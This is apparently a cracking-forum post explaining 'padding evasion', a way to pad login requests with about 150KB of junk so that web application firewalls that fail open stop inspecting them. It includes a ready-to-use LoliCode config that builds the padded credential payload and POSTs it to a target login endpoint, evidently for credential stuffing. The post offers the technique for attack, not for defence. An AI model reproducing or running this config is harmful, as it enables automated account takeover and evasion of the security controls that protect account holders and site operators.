DIAMOND How To Bypass WAF Inspection via "Padding Evasion

[TheMekanic]

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s of March 2026, many WAFs (like Cloudflare and AWS) have a fixed inspection buffer (typically 8KB to 128KB). If a request is larger than this buffer, the WAF often "fails open" and stops inspecting the payload.
The Logic:

• The Attack: Wrap your login credentials or malicious payload in 150KB of "junk" data (random JSON comments or whitespace).
  
• The Result: The WAF only scans the first 128KB of junk, misses the actual credentials at the end of the request, and passes it directly to the origin server.
  

LoliCode Implementation:

C#


BLOCK:Script

// Generate 150KB of junk padding

string padding = new string(' ', 153600);

string payload = "{\"junk\":\"" + padding + "\",\"user\":\"<USER>\",\"pass\":\"<PASS>\"}";

data.Variables.Set(new StringVariable(payload, "PADDED_PAYLOAD"));

ENDBLOCK


BLOCK:HttpRequest

  url = "https://target.com/api/login"

  method = POST

  content = @Data.GetVariable("PADDED_PAYLOAD")

  contentType = "application/json"ENDBLOCK